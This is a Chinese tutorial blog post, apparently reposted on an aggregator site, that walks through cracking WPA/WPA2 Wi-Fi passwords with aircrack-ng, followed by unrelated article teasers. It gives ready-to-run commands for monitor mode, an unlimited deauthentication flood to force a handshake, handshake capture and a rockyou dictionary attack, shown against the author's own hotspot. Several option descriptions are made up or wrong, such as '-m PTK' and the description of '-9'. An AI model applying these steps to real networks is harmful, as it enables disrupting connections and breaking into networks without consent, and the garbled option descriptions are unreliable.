渗透测试--6.1.aircrack-ng破解wifi密码

news2024/11/23 21:45:48

目录

1.Aircrack-ng简介

1.1 airdump-ng

1.2 aireplay-ng

1.3 aircrack-ng

2.Deauth攻击

3.aircrack-ng工具破解无线网络密码 

步骤一:虚拟机连接实验需要用到的网卡

步骤二:设置网卡为监听模式

步骤三:使用wlan0mon网卡扫描附近wifi

步骤四:抓取握手包并保存为CAP文件

步骤五:使用kali上自带的字典进行密码破解


1.Aircrack-ng简介

Aircrack- NG是一个完整的工具来评估Wi-Fi网络安全套件(ex.1)

  • 捕获:airodump-ng:用于捕获无线网络数据包;
  • 攻击:aireplay-ng:用于数据包注入和重放攻击;
  • 破解:aircrack-ng:用于破解 WEP 和 WPA/WPA2 密码;
  • 管理:airmon-ng:用于管理无线网卡和监视模式的切换。

 1.1 airdump-ng

airdump-ng 是 Kali Linux 系统中的一个无线网络分析工具,主要用于扫描周围的无线网络,并收集有关这些网络的信息,包括 SSID、MAC 地址、信道、加密方式、强度等。您可以使用不同的参数来优化扫描和显示过程。

下面是一些常用的 airodump-ng 参数:

  • -a:以 ASCII 码模式显示访问点和客户端名称
  • -c:设置要监视的 WiFi 频道号
  • -d:启用显示详细数据包信息
  • -h:隐藏未广播 SSID 的访问点
  • -w:指定输出文件名
  • --output-format:指定输出文件的格式(csv、kismet、gps、gpsxml 等)
  • --essid-regex:筛选符合正则表达式的 SSID
  • --write-interval:指定写入文件的时间间隔
  • --bssid:筛选指定 BSSID 的数据包

 读取数据:

BSSID -- Wi-Fi的Mac地址

 PWR -- 信号强度 

Data -- 监听期间流量总和

 CH -- WI-FI所用信道

 ENC -- 加密算法 

ESSID -- Wi-Fi名称


1.2 aireplay-ng

aireplay-ng 是 Kali Linux 系统中的一个无线攻击工具,可以用于注入数据包、生成恶意流量以及进行身份伪装等多种攻击。通过使用不同的参数,您可以选择不同的攻击方式和目标,

以下是一些常用的 aireplay-ng 参数:

  • -0 0:表示使用 Deauth 攻击,
  • -1:进行身份欺骗攻击
  • -2:对 WPA/WPA2 加密方式的网络进行攻击
  • -3:生成 ARP 请求并重放流量
  • -4:以混杂模式发送关联请求和数据包
  • -5:生成特定类型的数据包
  • -6:生成 Deauth 攻击流量
  • -7:生成广播 ARP 请求
  • -9:生成 RTS 和 CTS 数据包来消耗 AP 和客户端上的 CPU

例如,以下命令将向名称为 wlan0mon 的网卡发送 Deauth 流量来断开与目标 BSSID 的所有客户端的连接:

aireplay-ng -0 0 -a 00:11:22:33:44:55 wlan0mon

-0 0 表示使用 Deauth 攻击,(后面的0表示攻击次数,0为无限次)

-a 指定攻击目标的 BSSID 地址,

wlan0mon 是要使用的网卡名称。

还有一个常用的操作是,使用 aireplay-ng 向某个 AP 发送大量的探测请求,以便跟踪设备的位置或收集周围网络的信息。

以下命令将向名称为 wlan0mon 的网卡发送探测请求,以查询周围可用的无线网络:

aireplay-ng -9 wlan0mon

这个命令会发送一组数据包,其中包括 RTS 和 CTS 请求。这些请求将被发送到周围的 AP,从而产生 CPU 负载并帮助您确定 AP 的位置和数据库信息。


1.3 aircrack-ng

aircrack-ng 是 Kali Linux 系统中最常用的无线网络破解工具之一,它可以利用已捕获的 WPA/WPA2 握手包进行破解。以下是一些常用的 aircrack-ng 参数:

  • -w:指定密码字典文件
  • -b:指定要攻击的目标 BSSID 地址
  • -e:指定要攻击的目标 SSID 名称
  • -f:强制使用指定文件的格式
  • -m:选择攻击方法(对于 WPA2 加密,使用 “PTK” 选项)
  • -n:忽略指定字符集中的字符
  • -t:设置尝试的最大次数
  • -q:启用精简模式
  • -s:跳过指定数量的密码字典条目
  • -D:启用调试模式
  • -p:指定密钥文件的后缀名

例如,以下命令将使用 rockyou.txt 字典文件对名为 target 的 WLAN 进行字典攻击:

aircrack-ng -w rockyou.txt -b 11:22:33:44:55:66 target.cap

其中 rockyou.txt 是密码字典文件,11:22:33:44:55:66 是要攻击的目标 BSSID 地址,target.cap 是已捕获的握手包文件。

如果您知道要攻击的 Wi-Fi 网络的 SSID,可以使用 -e 选项指定名称。例如,以下命令将对 SSID 为 MyWiFi 的网络进行攻击:

aircrack-ng -w rockyou.txt -e MyWiFi target.cap

在破解 WPA2 加密的无线网络时,您可以使用 -m 选项选择攻击方法。

例如,以下命令将使用“PTK”攻击方法破解 WPA2 网络:

aircrack-ng -w rockyou.txt -b 11:22:33:44:55:66 -m PTK target.cap

这是一些常用的 aircrack-ng 参数,不同的参数可以实现各种攻击方式和目标。使用它时请确保您已获得适当的授权。


2.Deauth攻击

Deauth 攻击是一种用于无线网络的攻击方式,通过向无线网络设备(如 Wi-Fi 路由器或连接到该网络的设备)发送 Deauthentication 数据包来中断目标设备与 Wi-Fi 网络之间的通信。

Deauth 攻击是利用了 802.11 协议中的漏洞,攻击者可以通过模拟目标设备与 Wi-Fi 网络之间的身份验证交换从而抵消目标设备与无线网络之间的连接。虽然这种攻击可能会干扰合法用户的网络连接,但它也是一种有用的攻击方式,特别是在安全测试和研究方面。

在 Kali Linux 中,可以使用 Aireplay-ng 工具来执行 Deauth 攻击。

以下是一些常用的 Aireplay-ng 参数:

-0:指定使用 Deauth 攻击

-a:指定要攻击的目标网络的 BSSID

-c:指定要攻击的目标设备的 MAC 地址

-e:指定要攻击的目标网络的 SSID

例如,以下命令将向名为 WLAN 的网络发送 Deauth 攻击流量,并抵消所有连接到该网络的设备:

aireplay-ng -0 0 -a <WLAN BSSID> wlan0mon 

3.aircrack-ng工具破解无线网络密码 

使用aircrack-ng工具集实现对某一WPA/WPA2加密的无线网络密码破解

步骤一:虚拟机连接实验需要用到的网卡

Ralink 802.11

步骤二:设置网卡为监听模式

实验用到的是rt5370芯片网卡,使用airmon-ag查看网卡信息

设置为监听模式airmon-ng start wlan0,可以查看到监听模式网卡名字变成了:wlan0mon

 杀死可能对网络通信抓包造成影响的进程

airmon-ng check kill


步骤三:使用wlan0mon网卡扫描附近wifi

airodump-ng wlan0mon

可以查看到我们攻击的自己手机热点:姐姐能给我微信吗

密码:88888888

对应的ch(信道):1

MAC地址: 76:87:4E:74:34:06

步骤四:抓取握手包并保存为CAP文件

airodump-ng  -c 1 --bssid 76:87:4E:74:34:06 -w /home/gyp-202031070222/桌面/wifi wlan0mon

 另外开一个终端,注入数据包(Deauth洪水攻击)发送认证数据包,获取握手等数据,

aireplay-ng -0 0 -a 76:87:4E:74:34:06 wlan0mon -D

注意:这个时候连接的热点的设备断开连接,会自动请求连接(建议大家手动将断开的设备进行二次连接),不要问我是怎么知道的,

进行重新连接后,就可以活到相应的握手数据包,必须要抓取到握手数据包!!!!

步骤五:使用kali上自带的字典进行密码破解

kali上自带字典足够用了,当然你的密码如果太太太复杂建议自己创建一个密码字典,如何创建请看之前文章渗透测试--5.1.Crunch创建密码字典_西柚小萌新的博客-CSDN博客

字典目录/usr/share/wordlists/rockyou.txt

使用:gzip -d /usr/share/wordlists/rockyou.txt.gz进行解压使用。

对数据包进行密码破解,

aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/gyp-202031070222/桌面/wifi-01.cap

破解出密码为:88888888

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/540520.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Cinema 4D的最佳渲染引擎有哪些?

Cinema 4D是一款专业的3D建模、动画、模拟和渲染软件解决方案。其快速、强大、灵活和稳定的工具集使设计、动态图形、VFX、AR/MR/VR、游戏开发和所有类型的可视化专业人士更容易和高效地使用3D工作流程。除了Cinema 4D附带的标准/物理渲染引擎之外&#xff0c;还有许多用于C4D和…

Android实例——拼图游戏

拼图游戏 项目简介权限adapterPictureListAdapterPuzzleAdapter beanItemBean PresenterIPuzzlePresenterPuzzlePresenterImpl uiIGameCallback utilsConstantImagesUtilsScreenUtils ViewMainActivityPuzzleActivity 布局activity_main.xmlactivity_puzzle.xml 项目简介 选择…

国内 无需科学上网 免费体验 ai 语言交互平台 chatpgt替代(汇总)

ChitGPT CSDN 基于chatgpt 3.5模型 ChitGPT AI EDU - Learn AI, Use AI https://ai.aigcfun.com/ 之前有web端的 现在只有app 和桌面端 通义千问 阿里 通义千问 还没通过审核 360 智脑 360 智脑 体验名额满了 sparkDesk 讯飞 sparkDesk 还没通过审核 文心一言 百度…

行业分析| 快对讲-融合会议的应用

全球经济一体化不断加快&#xff0c;企业也开始注重信息化和现代化建设&#xff0c;无论是企业内部还是外部的沟通与协作都变得非常重要。融合会议为企业提供一种“轻模式”的信息沟通和管理服务。支持语音、视频和数据多媒体通信&#xff0c;实现了语音与数据的无缝融合。用户…

直播预告 | 员工在公司体验感UP,原因竟然是这个......

而随着企业数字化进程的加速&#xff0c;企业账号管理面临着前所未有的挑战。安全性、便捷性和管理效率成为企业管理者关注的重点。 作为公司员工&#xff0c;“打工人”或多或少都面临着不同系统&#xff1a;开发工具、版本控制系统、文档管理系统、项目管理工具......“打工…

LeetCode 637. 二叉树的层平均值

637. 二叉树的层平均值 描述 给定一个非空二叉树的根节点 root , 以数组的形式返回每一层节点的平均值。与实际答案相差 1 0 − 5 10^-\\^5 10−5 以内的答案可以被接受。 示例 示例1 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;[[3],[9,20],[15,7]…

大家都在用哪些研发协同、沟通协同、项目协同软件?

这里我们将根据需求将协同软件分为&#xff1a;项目管理协作沟通、研发管理协同、文档协同、会议协同、设计协同、沟通协同6个大类进行分别推荐。 随着企业对高效协同办公的需求日益增长&#xff0c;市场上出现了众多协同办公软件。这些软件通过提供各种实用的功能&#xff0c;…

ChatGPT访问互联网,不神秘了

我测试了一下&#xff0c;它其实调用了微软必应的api&#xff0c;搜索了关键词而已 比如我问它&#xff1a;https://twitter.com/elonmusk 马斯克最近在忙什么 它的回答是&#xff1a; 近期&#xff0c;马斯克在做的一些事情包括&#xff1a; 在2023年的特斯拉年度股东大会…

内网渗透(七十七)之域权限维持之ACL滥用(中)

ACL滥用(中) 3、msDS-AllowedToActOnBehalfOfOtherldentity 属性权限 如图所示是微软对于msDS-AllowedToActOnBehalfOfOtherldentity 属性的描述 jack是域中的一个普通用户。现在我们获得了域管理员的权限,并想进行权限维持,可以进行如下的操作:使用Empire下的powerview…

编译zlib

zlib被设计为一个免费的&#xff0c;通用的&#xff0c;法律上不受限制的-即不受任何专利保护的无损数据压缩库&#xff0c;几乎可以在任何计算机硬件和操作系统上使用。 官网&#xff1a;http://www.zlib.net/ 下载zlib源码:http://www.zlib.net/zlib1213.zip 备用地址&#x…

opencv图像拼接

opencv图像拼接是一种在一系列图片中选取部分区域&#xff0c;通过这些区域的重叠得到一个完整的图像&#xff0c;并将这些图片拼接起来的方法。它与传统的方法不同&#xff0c;可以看作是基于拼接技术的图像处理。 opencv是一款开源的图像处理软件&#xff0c;主要用于计算机视…

看模型、做技术交底、做项目汇报,图新说数字化汇报平台引领交互式汇报新模式

现场汇报效果不好&#xff0c;导致丢了一个项目&#xff01; 项目汇报平淡无奇&#xff0c;方案屡次被毙&#xff01; 面对专家质疑&#xff0c;回答苍白无力&#xff01; 估计大家都有过这种经历和感受。 详细分析一下&#xff0c;基本上有以下几个方面的原因&#xff1a; …

ASEMI代理Infineon英飞凌IPB60R099CP原厂MOS管

编辑-Z IPB60R099CP参数描述&#xff1a; 型号&#xff1a;IPB60R099CP 持续漏极电流&#xff1a;31A 脉冲漏极电流&#xff1a;93A 雪崩电流&#xff0c;重复&#xff1a;11A 栅极-源极电压&#xff1a;20V 功率耗散&#xff1a;255W 操作和储存温度&#xff1a;-55 t…

Springer期刊 latex投稿经验分享

Springer Nature期刊的latex模板下载: Download the journal article template package 以MTAP为例(修改之后对修订稿的投递过程) 第一步:将您的文章提交到适当的期刊轨道或特刊。 如有必要,从下拉菜单中更改您提交的文章类型。 然后点击Proceed 第二步: 与您提交的先前修…

Jmeter +Maven+jenkins 接口性能全自动化测试

背景&#xff1a; 首先用jmeter录制或者书写性能测试的脚本&#xff0c;用maven添加相关依赖&#xff0c;把性能测试的代码提交到github&#xff0c;在jenkins配置git下载性能测试的代码&#xff0c;配置运行脚本和测试报告&#xff0c;配置运行失败自动发邮件通知&#xff0c…

陪诊小程序开发|陪诊系统源码|陪诊系统开发

近年来&#xff0c;一个新兴的产业异军突起。 专业陪诊医生主要是陪一些孩子不在身边的老人&#xff0c;或者家人不在身边的孕妇&#xff0c;看病、检查等&#xff0c;其实这个小程序不只是看病而已 . &#xff0c;以及更多功能。 配套小程序功能展示&#xff1a; 1、预诊预约…

23种设计模式之桥接模式(Bridge Pattern)

前言&#xff1a;大家好&#xff0c;我是小威&#xff0c;24届毕业生&#xff0c;在一家满意的公司实习。本篇文章将23种设计模式中的桥接模式&#xff0c;此篇文章为一天学习一个设计模式系列文章&#xff0c;后面会分享其他模式知识。 如果文章有什么需要改进的地方还请大佬不…

【Selenium下】——全栈开发——如桃花来

目录索引 获取元素信息&#xff1a;获取单个文本和属性&#xff1a;*获取文本&#xff1a;**获取属性&#xff1a;* 获取多个文本和属性值&#xff1a; 等待&#xff1a;显示等待&#xff1a;time等待&#xff1a; EC&#xff1a;常见方法&#xff1a; 前进后退:选项卡管理&…

同步管理1000个设备的VLAN数据,这都行?

大家好&#xff0c;我是老杨。 很多网工在工作中&#xff0c;经常会遇到企业网的交换机上需要保持VLAN信息同步的情况。 因为只有这样&#xff0c;才可以以保证所有交换机都能进行正确的数据转发。 小型企业网中&#xff0c;你可以直接登录到每台交换机上进行VLAN的配置和维…

使用Atmel Studio开发Arduino的ATmega328P单片机

摘要&#xff1a;我们知道Arduino开发板常用的芯片是Atmel公司生产的AVR微控制器系列。最常见的是ATmega328P&#xff0c;被广泛用于Arduino Uno开发板。其他常用的AVR芯片包括ATmega2560和ATmega32U4。使用Arduino平台开发AVR的单片机非常方便。Arduino IDE提供了一个非常简洁…